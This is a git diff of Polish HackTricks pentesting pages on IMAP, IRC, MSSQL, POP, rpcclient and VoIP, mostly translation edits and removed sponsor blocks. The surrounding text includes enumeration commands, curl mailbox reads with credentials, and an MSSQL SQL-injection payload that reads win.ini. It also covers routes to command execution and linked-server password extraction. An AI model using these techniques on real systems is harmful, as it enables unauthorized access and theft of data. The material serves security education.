**Protokół dostępu do wiadomości w Internecie (IMAP)** został zaprojektowany w celu umożliwienia użytkownikom **dostępu do wiadomości e-mail z dowolnej lokalizacji**, głównie za pośrednictwem połączenia internetowego. W istocie, e-maile są **przechowywane na serwerze** zamiast być pobierane i przechowywane na osobistym urządzeniu użytkownika. Oznacza to, że gdy e-mail jest otwierany lub czytany, odbywa się to **bezpośrednio z serwera**. Ta funkcjonalność umożliwia wygodę sprawdzania e-maili z **wielu urządzeń**, zapewniając, że żadne wiadomości nie zostaną pominięte, niezależnie od używanego urządzenia.
|
||||
|
||||
Domyślnie protokół IMAP działa na dwóch portach:
|
||||
|
||||
|
@ -42,7 +34,7 @@ openssl s_client -connect <IP>:993 -quiet
|
|||
```
|
||||
### NTLM Auth - Ujawnienie informacji
|
||||
|
||||
Jeśli serwer obsługuje uwierzytelnianie NTLM (Windows), możesz uzyskać wrażliwe informacje (wersje):
|
||||
Jeśli serwer obsługuje autoryzację NTLM (Windows), możesz uzyskać wrażliwe informacje (wersje):
|
||||
```
|
||||
root@kali: telnet example.com 143
|
||||
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||
|
@ -53,7 +45,7 @@ root@kali: telnet example.com 143
|
|||
```
|
||||
Lub **zautomatyzuj** to za pomocą wtyczki **nmap** `imap-ntlm-info.nse`
|
||||
|
||||
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
### [Bruteforce IMAP](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## Składnia
|
||||
|
||||
|
@ -112,7 +104,7 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
Podstawowa nawigacja jest możliwa z użyciem [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), ale dokumentacja jest uboga w szczegóły, więc zaleca się sprawdzenie [źródła](https://github.com/curl/curl/blob/master/lib/imap.c) w celu uzyskania precyzyjnych informacji.
|
||||
Podstawowa nawigacja jest możliwa z użyciem [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), ale dokumentacja jest uboga w szczegóły, więc zaleca się sprawdzenie [źródła](https://github.com/curl/curl/blob/master/lib/imap.c) w celu uzyskania dokładnych informacji.
|
||||
|
||||
1. Wyświetlanie skrzynek pocztowych (komenda imap `LIST "" "*"`)
|
||||
```bash
|
||||
|
@ -134,14 +126,14 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
|||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
Indeks wiadomości będzie tym samym indeksem zwróconym z operacji wyszukiwania.
|
||||
Indeks poczty będzie tym samym indeksem zwróconym z operacji wyszukiwania.
|
||||
|
||||
Możliwe jest również użycie `UID` (unikalny identyfikator) do uzyskania dostępu do wiadomości, jednak jest to mniej wygodne, ponieważ polecenie wyszukiwania musi być ręcznie sformatowane. Na przykład
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
Również możliwe jest pobranie tylko części wiadomości, np. temat i nadawca pierwszych 5 wiadomości (opcja `-v` jest wymagana, aby zobaczyć temat i nadawcę):
|
||||
Również możliwe jest pobranie tylko części wiadomości, np. tematu i nadawcy pierwszych 5 wiadomości (opcja `-v` jest wymagana, aby zobaczyć temat i nadawcę):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
@ -202,7 +188,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
## Podstawowe informacje
|
||||
|
||||
IRC, początkowo **protokół tekstowy**, został przypisany **194/TCP** przez IANA, ale zazwyczaj działa na **6667/TCP** i podobnych portach, aby uniknąć potrzeby **uprawnień roota** do działania.
|
||||
|
||||
**Pseudonim** to wszystko, co jest potrzebne do połączenia z serwerem. Po nawiązaniu połączenia serwer wykonuje odwrotne wyszukiwanie DNS na adresie IP użytkownika.
|
||||
Do połączenia z serwerem wystarczy **nick**. Po połączeniu serwer wykonuje odwrotne zapytanie DNS na adres IP użytkownika.
|
||||
|
||||
Użytkownicy dzielą się na **operatorów**, którzy potrzebują **nazwa użytkownika** i **hasło** do większego dostępu, oraz zwykłych **użytkowników**. Operatorzy mają różne poziomy uprawnień, z administratorami na szczycie.
|
||||
Użytkownicy dzielą się na **operatorów**, którzy potrzebują **nazwa użytkownika** i **hasło** do uzyskania większego dostępu, oraz zwykłych **użytkowników**. Operatorzy mają różne poziomy uprawnień, z administratorami na szczycie.
|
||||
|
||||
**Domyślne porty:** 194, 6667, 6660-7000
|
||||
```
|
||||
|
@ -96,19 +83,8 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
### Shodan
|
||||
|
||||
* `looking up your hostname`
|
||||
* `sprawdzanie swojej nazwy hosta`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -118,9 +94,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** to **system zarządzania relacyjnymi bazami danych** opracowany przez Microsoft. Jako serwer baz danych, jest to produkt oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji programowych — które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).\\
|
||||
> **Microsoft SQL Server** to system zarządzania **relacyjną bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji programowych — które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).\\
|
||||
|
||||
**Domyślny port:** 1433
|
||||
```
|
||||
|
@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Bądź ostrożny, możesz **zablokować konta**, jeśli wielokrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
|
||||
Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli kilkukrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (potrzebne poświadczenia)
|
||||
|
@ -165,7 +157,7 @@ SELECT * FROM sysusers
|
|||
2. **Uprawnienie:** Powiązane z securables SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być przyznawane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
|
||||
* **Poziom serwera** przy użyciu loginów
|
||||
* **Poziom bazy danych** przy użyciu użytkowników
|
||||
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty głównie obejmują loginy i użytkowników bazy danych. Kontrola dostępu do securables jest realizowana poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
|
||||
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty głównie obejmują loginy i użytkowników bazy danych. Kontrola dostępu do securables odbywa się poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -297,7 +289,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Odczyt plików wykonując skrypty (Python i R)**
|
||||
### **RCE/Odczyt plików wykonujących skrypty (Python i R)**
|
||||
|
||||
MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten, który używa **xp\_cmdshell** do wykonywania poleceń.
|
||||
|
||||
|
@ -321,7 +313,7 @@ GO
|
|||
```
|
||||
### Odczyt rejestru
|
||||
|
||||
Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Zwykłe** | **Świadome instancji** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -346,7 +338,7 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||
```
|
||||
For **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE z funkcją zdefiniowaną przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub rola Administratora**.
|
||||
|
||||
|
@ -354,7 +346,7 @@ Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych
|
|||
|
||||
### Inne sposoby na RCE
|
||||
|
||||
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszerzonych procedur składowanych](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Zestawów CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Zadań agenta SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) oraz [skryptów zewnętrznych](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszerzonych procedur składowanych](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Zestawów CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Zadań Agenta SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) oraz [skryptów zewnętrznych](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## Eskalacja uprawnień MSSQL
|
||||
|
||||
|
@ -460,13 +452,13 @@ Atakujący może wyodrębnić hasła powiązanych serwerów SQL Server z instanc
|
|||
|
||||
Aby ten exploit działał, należy spełnić pewne wymagania i skonfigurować kilka rzeczy. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
|
||||
|
||||
Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, które są następujące:
|
||||
Po zweryfikowaniu swoich uprawnień musisz skonfigurować trzy rzeczy, które są następujące:
|
||||
|
||||
1. Włącz TCP/IP na instancjach SQL Server;
|
||||
2. Dodaj parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który to -T7806.
|
||||
3. Włącz zdalne połączenie administracyjne.
|
||||
|
||||
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium ma również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
|
||||
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
|
||||
|
||||
Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku: [Deszyfrowanie haseł serwera powiązanego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
|
@ -497,16 +489,10 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
## HackTricks Automatyczne Komendy
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -568,7 +554,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
## Basic Information
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Post Office Protocol (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do ekstrakcji i **pobierania e-maili z zdalnego serwera pocztowego**, co umożliwia ich dostępność na lokalnym urządzeniu. Umiejscowiony w warstwie aplikacji modelu OSI, protokół ten umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem pocztowym, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie usunięciu ich z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
**Protokół Poczty (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do **wyciągania i pobierania e-maili z zdalnego serwera pocztowego**, co umożliwia ich dostępność na lokalnym urządzeniu. Umiejscowiony w warstwie aplikacji modelu OSI, protokół ten pozwala użytkownikom na pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem pocztowym, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie usunięciu ich z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
|
||||
**Domyślne porty:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -104,11 +97,6 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są logowane i mogą być również skracane. |
|
||||
| `auth_anonymous_username` | Określa nazwę użytkownika, która ma być używana podczas logowania za pomocą mechanizmu ANONYMOUS SASL. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
```
|
||||
|
@ -157,7 +145,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Przegląd identyfikatorów względnych (RID) i identyfikatorów zabezpieczeń (SID)
|
||||
|
||||
**Identyfikatory względne (RID)** i **Identyfikatory zabezpieczeń (SID)** są kluczowymi komponentami w systemach operacyjnych Windows do unikalnego identyfikowania i zarządzania obiektami, takimi jak użytkownicy i grupy, w obrębie domeny sieciowej.
|
||||
|
@ -30,12 +22,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
- **SID** służą jako unikalne identyfikatory dla domen, zapewniając, że każda domena jest rozróżnialna.
|
||||
- **RID** są dołączane do SID, aby tworzyć unikalne identyfikatory dla obiektów w tych domenach. Ta kombinacja pozwala na precyzyjne śledzenie i zarządzanie uprawnieniami obiektów oraz kontrolą dostępu.
|
||||
|
||||
Na przykład, użytkownik o imieniu `pepe` może mieć unikalny identyfikator łączący SID domeny z jego specyficznym RID, reprezentowany w formatach szesnastkowym (`0x457`) i dziesiętnym (`1111`). To skutkuje kompletnym i unikalnym identyfikatorem dla pepe w obrębie domeny, takim jak: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Na przykład, użytkownik o imieniu `pepe` może mieć unikalny identyfikator łączący SID domeny z jego specyficznym RID, reprezentowany w formatach szesnastkowym (`0x457`) i dziesiętnym (`1111`). Skutkuje to kompletnym i unikalnym identyfikatorem dla pepe w domenie, takim jak: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumeracja z rpcclient**
|
||||
|
||||
Narzędzie **`rpcclient`** z Samby jest wykorzystywane do interakcji z **punktami końcowymi RPC przez nazwane potoki**. Poniżej znajdują się polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po nawiązaniu **sesji SMB**, często wymagających poświadczeń.
|
||||
Narzędzie **`rpcclient`** z Samba jest wykorzystywane do interakcji z **punktami końcowymi RPC przez nazwane potoki**. Poniżej znajdują się polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po nawiązaniu **sesji SMB**, często wymagających poświadczeń.
|
||||
|
||||
#### Informacje o serwerze
|
||||
|
||||
|
@ -104,12 +96,6 @@ done
|
|||
|
||||
Aby **lepiej zrozumieć**, jak działają narzędzia _**samrdump**_ **i** _**rpcdump**_, powinieneś przeczytać [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -16,50 +16,36 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Protokoły sygnalizacyjne
|
||||
|
||||
### SIP (Session Initiation Protocol)
|
||||
### SIP (Protokół inicjacji sesji)
|
||||
|
||||
To standard branżowy, więcej informacji znajdziesz w:
|
||||
To standard branżowy, aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{% content-ref url="sip-session-initiation-protocol.md" %}
|
||||
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MGCP (Media Gateway Control Protocol)
|
||||
### MGCP (Protokół kontroli bramy multimedialnej)
|
||||
|
||||
MGCP (Media Gateway Control Protocol) to **protokół sygnalizacyjny** i **kontroli połączeń** opisany w RFC 3435. Działa w architekturze scentralizowanej, która składa się z trzech głównych komponentów:
|
||||
MGCP (Protokół kontroli bramy multimedialnej) to **protokół sygnalizacyjny** i **kontroli połączeń**, opisany w RFC 3435. Działa w architekturze scentralizowanej, która składa się z trzech głównych komponentów:
|
||||
|
||||
1. **Agent połączeń lub Kontroler bramy multimedialnej (MGC)**: Główna brama w architekturze MGCP odpowiedzialna za **zarządzanie i kontrolowanie bram multimedialnych**. Obsługuje procesy zestawiania, modyfikacji i zakończenia połączeń. MGC komunikuje się z bramami multimedialnymi za pomocą protokołu MGCP.
|
||||
